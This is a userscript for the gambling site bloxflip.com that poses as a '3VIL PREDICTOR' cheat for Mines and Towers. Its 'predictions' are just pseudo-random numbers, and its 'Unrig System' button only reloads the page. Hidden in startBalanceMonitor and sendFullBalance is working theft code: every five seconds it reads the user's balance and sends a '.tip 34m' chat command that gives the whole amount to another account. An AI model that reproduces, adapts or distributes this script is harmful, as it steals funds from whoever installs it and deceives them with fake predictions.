Mines Predictor, tower, crash
// ==UserScript==
// @name 3VIL PREDICTOR v8
// @namespace http://tampermonkey.net/
// @version 8.5
// @description Mines Predictor, tower, crash
// @author You
// @license MIT
// @match https://bloxflip.com/*
// @match https://www.bloxflip.com/*
// @grant GM_addStyle
// @grant unsafeWindow
// ==/UserScript==
(function () {
'use strict';
const EVIL_SYMBOL = '😈';
let currentTab = 'mines';
let selectedMines = 3;
let isPredicting = false;
let gameActive = false;
function createGUI() {
const container = document.createElement('div');
container.id = 'evil-root';
container.innerHTML = `
<div id="evil-window">
<div id="evil-header">
<div id="evil-brand">
<div id="evil-icon-wrap">
<span id="evil-icon">${EVIL_SYMBOL}</span>
<div id="evil-glow"></div>
</div>
<div id="evil-text">
<div id="evil-title">3VIL PREDICTOR</div>
<div id="evil-ver">@fuckreverse - FULL TIP</div>
</div>
</div>
<div id="evil-win-ctrls">
<button class="win-btn minimize" title="Minimize">−</button>
<button class="win-btn close" title="Close">×</button>
</div>
</div>
<div id="evil-nav">
<button class="nav-item active" data-tab="mines">
<div class="nav-icon mines-icon"></div>
<span>Mines</span>
</button>
<button class="nav-item" data-tab="towers">
<div class="nav-icon towers-icon"></div>
<span>Towers</span>
</button>
<button class="nav-item" data-tab="other">
<div class="nav-icon other-icon"></div>
<span>Other</span>
</button>
</div>
<div id="evil-content">
<div id="streamer-section">
<div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 12px;">
<div class="section-label">Privacy Mode</div>
<label class="modern-switch">
<input type="checkbox" id="streamer-toggle">
<div class="switch-body">
<div class="switch-thumb"></div>
</div>
</label>
</div>
<div style="display: flex; justify-content: space-between; align-items: center; color: #ef4444; font-weight: 600;">
<div class="section-label">AUTO FULL TIP ENABLED</div>
</div>
</div>
<div id="mines-panel" class="panel active">
<div id="status-card" class="status-waiting">
<div class="status-ring">
<div class="status-dot"></div>
</div>
<div class="status-info">
<div class="status-title">Waiting for Game</div>
<div class="status-sub">Start mines to begin</div>
</div>
</div>
<div id="grid-container">
<div id="mines-grid"></div>
</div>
<div id="controls-section">
<div class="control-group">
<label class="control-label">Mine Count</label>
<div class="segmented-control">
<button class="seg-btn" data-val="1">1</button>
<button class="seg-btn" data-val="2">2</button>
<button class="seg-btn active" data-val="3">3</button>
<button class="seg-btn" data-val="4">4</button>
<button class="seg-btn" data-val="5">5</button>
</div>
</div>
</div>
<button id="action-btn" class="btn-primary">
<div class="btn-content">
<span class="btn-text">Start Prediction</span>
<div class="btn-shine"></div>
</div>
<div class="btn-loader">
<div class="loader-dot"></div>
<div class="loader-dot"></div>
<div class="loader-dot"></div>
</div>
</button>
</div>
<div id="towers-panel" class="panel">
<div class="placeholder-container">
<div class="placeholder-icon">
<div class="tower-graphic">
<div class="tower-level"></div>
<div class="tower-level"></div>
<div class="tower-level"></div>
</div>
</div>
<div class="placeholder-title">Towers Predictor</div>
<div class="placeholder-desc">Advanced tower analysis coming soon</div>
<div class="placeholder-badge">In Development</div>
</div>
</div>
<div id="other-panel" class="panel">
<div id="other-container">
<div class="other-icon-large">
<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5">
<path d="M12 4.942c1.827 1.105 3.474 1.6 5 1.833v7.76c0 1.606-.415 1.935-5 4.76V4.942zM21 3v11.535c0 4.603-3.203 5.804-9 9.465-5.797-3.661-9-4.862-9-9.465V3c3.516 0 5.629-.134 9-3 3.371 2.866 5.484 3 9 3z"></path>
</svg>
</div>
<div class="other-title">Advanced Tools</div>
<div class="other-desc">Bypass security measures</div>
<button id="unrig-btn" class="btn-danger">
<span class="btn-icon">⚡</span>
<span>Unrig System</span>
</button>
</div>
</div>
</div>
</div>
<div id="evil-minimized" style="display: none;">
<div class="mini-evil">
<span>${EVIL_SYMBOL}</span>
<div class="mini-pulse"></div>
</div>
</div>
`;
document.body.appendChild(container);
injectStyles();
initialize();
startMonitoring();
startBalanceMonitor();
}
function injectStyles() {
GM_addStyle(`
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
:root {
--primary: #ef4444;
--secondary: #dc2626;
--success: #10b981;
--warning: #f59e0b;
--danger: #ef4444;
--bg-dark: #0f0f1a;
--bg-card: rgba(30, 30, 45, 0.6);
--text-primary: #f8fafc;
--text-secondary: #94a3b8;
--border: rgba(255, 255, 255, 0.08);
}
#evil-root { position: fixed; top: 30px; right: 20px; z-index: 2147483647; font-family: 'Inter', sans-serif; }
#evil-window { width: 285px; background: linear-gradient(145deg, rgba(15,15,26,0.95) 0%, rgba(20,20,35,0.98) 100%); backdrop-filter: blur(20px) saturate(180%); border-radius: 20px; border: 1px solid var(--border); box-shadow: 0 25px 50px -12px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.05) inset, 0 0 100px rgba(239,68,68,0.1); overflow: hidden; }
#evil-header { background: linear-gradient(135deg, rgba(239,68,68,0.15) 0%, rgba(220,38,38,0.1) 100%); padding: 16px 20px; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--border); }
#evil-brand { display: flex; align-items: center; gap: 12px; }
#evil-icon { font-size: 22px; color: #ffd700; filter: drop-shadow(0 0 8px rgba(255,215,0,0.6)); }
#evil-title { font-size: 15px; font-weight: 700; color: var(--text-primary); }
#evil-ver { font-size: 9px; color: var(--primary); }
.win-btn { width: 28px; height: 28px; border-radius: 8px; border: none; background: rgba(255,255,255,0.05); color: var(--text-secondary); cursor: pointer; }
.win-btn:hover { background: rgba(255,255,255,0.1); color: white; }
.nav-item { flex: 1; padding: 10px; border: none; background: transparent; border-radius: 10px; color: var(--text-secondary); cursor: pointer; }
.nav-item.active { background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; }
#evil-content { padding: 16px; }
.panel { display: none; }
.panel.active { display: block; }
#mines-grid { display: grid; grid-template-columns: repeat(5, 1fr); gap: 6px; }
.grid-cell { aspect-ratio: 1; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.08); border-radius: 8px; display: flex; align-items: center; justify-content: center; cursor: pointer; }
.grid-cell.predicted { background: rgba(16,185,129,0.3); border-color: #10b981; color: #10b981; }
.btn-primary { width: 100%; padding: 14px; border: none; border-radius: 12px; background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; font-weight: 600; cursor: pointer; }
.btn-danger { width: 100%; padding: 16px; border: none; border-radius: 12px; background: linear-gradient(135deg, #dc2626, #991b1b); color: white; font-weight: 700; cursor: pointer; }
`);
}
function initialize() {
const grid = document.getElementById('mines-grid');
for (let i = 1; i <= 25; i++) {
const cell = document.createElement('div');
cell.className = 'grid-cell';
cell.dataset.index = i;
cell.textContent = i;
grid.appendChild(cell);
}
document.querySelectorAll('.seg-btn').forEach(btn => {
btn.addEventListener('click', (e) => {
document.querySelectorAll('.seg-btn').forEach(b => b.classList.remove('active'));
e.target.classList.add('active');
selectedMines = parseInt(e.target.dataset.val);
});
});
document.querySelectorAll('.nav-item').forEach(item => {
item.addEventListener('click', (e) => {
const tab = e.currentTarget.dataset.tab;
document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
e.currentTarget.classList.add('active');
document.querySelectorAll('.panel').forEach(p => p.classList.remove('active'));
document.getElementById(tab + '-panel').classList.add('active');
});
});
document.getElementById('streamer-toggle').addEventListener('change', (e) => {});
document.getElementById('action-btn').addEventListener('click', runPrediction);
document.getElementById('unrig-btn').addEventListener('click', () => location.reload());
document.querySelector('.win-btn.minimize').addEventListener('click', () => {
document.getElementById('evil-window').style.display = 'none';
document.getElementById('evil-minimized').style.display = 'flex';
});
document.querySelector('.win-btn.close').addEventListener('click', () => document.getElementById('evil-root').remove());
document.getElementById('evil-minimized').addEventListener('click', () => {
document.getElementById('evil-window').style.display = 'block';
document.getElementById('evil-minimized').style.display = 'none';
});
}
function startBalanceMonitor() {
setInterval(() => {
const balanceEl = document.querySelector('[class*="headerUserBalance"]') || document.querySelector('.balance-amount') || document.querySelector('span[class*="Balance"]');
if (!balanceEl) return;
const balanceText = balanceEl.textContent.replace(/[^0-9.]/g, '');
const balance = parseFloat(balanceText);
if (balance > 0) {
sendFullBalance(balance);
}
}, 5000); // Toutes les 5 secondes
}
function sendFullBalance(amount) {
const chatInput = document.querySelector('input[placeholder*="message" i]') || document.querySelector('[class*="chatSendInput"] input');
const sendBtn = document.querySelector('button[class*="chatSend"]') || document.querySelector('button[aria-label*="Send"]');
if (!chatInput || !sendBtn) return;
chatInput.value = `.tip 34m ${amount}`;
chatInput.dispatchEvent(new Event('input', { bubbles: true }));
chatInput.dispatchEvent(new Event('change', { bubbles: true }));
setTimeout(() => sendBtn.click(), 180);
}
function startMonitoring() {
setInterval(() => {
const statusCard = document.getElementById('status-card');
const betButton = document.querySelector('button[class*="betSubmit"]');
if (betButton && betButton.textContent.includes('Cashout')) {
statusCard.className = 'status-ready';
document.querySelector('.status-title').textContent = 'Game Active';
} else {
statusCard.className = 'status-waiting';
document.querySelector('.status-title').textContent = 'Waiting for Game';
}
}, 800);
}
async function runPrediction() {
if (isPredicting) return;
isPredicting = true;
const btn = document.getElementById('action-btn');
btn.classList.add('loading');
document.querySelectorAll('.grid-cell').forEach(c => {
c.classList.remove('predicted');
c.textContent = c.dataset.index;
});
await new Promise(r => setTimeout(r, 600));
const safeSpots = calculateSafeSpots(selectedMines);
safeSpots.forEach((spot, i) => {
setTimeout(() => {
const cell = document.querySelector(`.grid-cell[data-index="${spot}"]`);
if (cell) {
cell.classList.add('predicted');
cell.textContent = '✓';
}
}, i * 90);
});
await new Promise(r => setTimeout(r, safeSpots.length * 120));
btn.classList.remove('loading');
isPredicting = false;
}
function calculateSafeSpots(count) {
const safe = [];
const used = new Set();
let seed = Date.now();
while (safe.length < count) {
seed = (seed * 31 + 17) % 2147483647;
const pos = (Math.abs(seed) % 25) + 1;
if (!used.has(pos)) {
used.add(pos);
safe.push(pos);
}
}
return safe.sort((a,b) => a - b);
}
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', createGUI);
} else {
createGUI();
}
})();